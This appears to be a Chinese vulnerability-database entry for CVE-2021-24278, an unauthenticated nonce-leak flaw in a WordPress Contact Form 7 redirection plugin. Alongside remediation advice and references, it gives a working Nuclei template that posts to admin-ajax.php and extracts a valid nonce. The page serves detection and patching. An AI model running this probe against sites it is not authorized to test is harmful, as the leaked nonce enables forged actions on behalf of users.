CVE-2021-24278: WordPress Contact Form 7 <2.3.4 - Arbitrary Nonce Generation

日期: 2025-08-01 | 影响软件: WordPress Contact Form 7 | POC: 已公开

漏洞描述

WordPress Contact Form 7 before version 2.3.4 allows unauthenticated users to use the wpcf7r_get_nonce AJAX action to retrieve a valid nonce for any WordPress action/function.

PoC代码[已公开]

id: CVE-2021-24278

info:
  name: WordPress Contact Form 7 <2.3.4 - Arbitrary Nonce Generation
  author: 2rs3c
  severity: high
  description: WordPress Contact Form 7 before version 2.3.4 allows unauthenticated users to use the wpcf7r_get_nonce AJAX action to retrieve a valid nonce for any WordPress action/function.
  impact: |
    Attackers can exploit this vulnerability to perform actions on behalf of authenticated users, leading to potential data breaches or unauthorized access.
  remediation: |
    Update WordPress Contact Form 7 plugin to version 2.3.4 or later to fix the Arbitrary Nonce Generation vulnerability.
  reference:
    - https://wpscan.com/vulnerability/99f30604-d62b-4e30-afcd-b482f8d66413
    - https://www.wordfence.com/blog/2021/04/severe-vulnerabilities-patched-in-redirection-for-contact-form-7-plugin/
    - https://nvd.nist.gov/vuln/detail/CVE-2021-24278
    - https://github.com/ARPSyndicate/cvemon
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2021-24278
    cwe-id: CWE-863
    epss-score: 0.35223
    epss-percentile: 0.96867
    cpe: cpe:2.3:a:querysol:redirection_for_contact_form_7:*:*:*:*:*:wordpress:*:*
  metadata:
    max-request: 1
    vendor: querysol
    product: redirection_for_contact_form_7
    framework: wordpress
  tags: cve2021,cve,wordpress,wp-plugin,wpscan,querysol,vkev,vuln

http:
  - method: POST
    path:
      - "{{BaseURL}}/wp-admin/admin-ajax.php"

    body: "action=wpcf7r_get_nonce&param=wp_rest"

    headers:
      Content-Type: application/x-www-form-urlencoded

    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - '"success":true'
          - '"nonce":"[a-f0-9]+"'
        condition: and

      - type: status
        status:
          - 200

    extractors:
      - type: regex
        regex:
          - '"nonce":"[a-f0-9]+"'
        part: body
# digest: 490a00463044022079680dc878ab2cbb089ce2f35b09dcd62fb03befad66ea302250b7570ca20ebc02203ed9b5a720ddb8c3c2896108b66fd26d7857a966e5f4b996ff0fe577745344c9:922c64590222798bb761d5b6d8e72950

相关漏洞推荐